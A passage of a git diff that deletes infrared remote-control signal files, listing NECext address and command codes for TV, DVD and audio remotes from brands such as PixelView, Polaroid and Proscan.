-protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_TAB -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK-- -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK++ -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK- -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK+ -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir deleted file mode 100644 index e77c5e9ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: tv/fm -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: timeshift -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: fn- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: bw -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: fn+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: loop -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: loop -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: snapshot -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir deleted file mode 100644 index 0bf18c616..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: ntsc/pal -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: tvpicture -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_1/all -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: KEY_3d -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: vocal-assist -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4B 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4F 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: a/b -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir deleted file mode 100644 index 56e4ca989..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: AC 00 00 00 -command: 08 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir deleted file mode 100644 index 50c5b277f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 00 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 01 00 00 00 -# -name: select_menu -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 02 00 00 00 -# -name: enter/ok -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 03 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 04 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 05 00 00 00 -# -name: fast_backward -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 06 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 07 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 08 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 09 00 00 00 -# -name: caption -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0E 00 00 00 -# -name: nicam -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0F 00 00 00 -# -name: game/remote -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir deleted file mode 100644 index 52dcffd1b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: BAL/AUX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: CD2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: TV/AUX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir deleted file mode 100644 index a0571bbad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir deleted file mode 100644 index fb3e15fd1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: MARKER*ANT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 50 00 00 00 -# -name: MOVE_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: MOVE_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: MOVE_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: MOVE_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 76 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 77 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 78 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 80 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 94 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: B0 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir deleted file mode 100644 index 7288547b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir +++ /dev/null @@ -1,440 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: PIP_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: ID -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1E 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: CS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: MOVE_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 56 00 00 00 -# -name: MOVE_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 57 00 00 00 -# -name: MOVE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 58 00 00 00 -# -name: MOVE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 59 00 00 00 -# 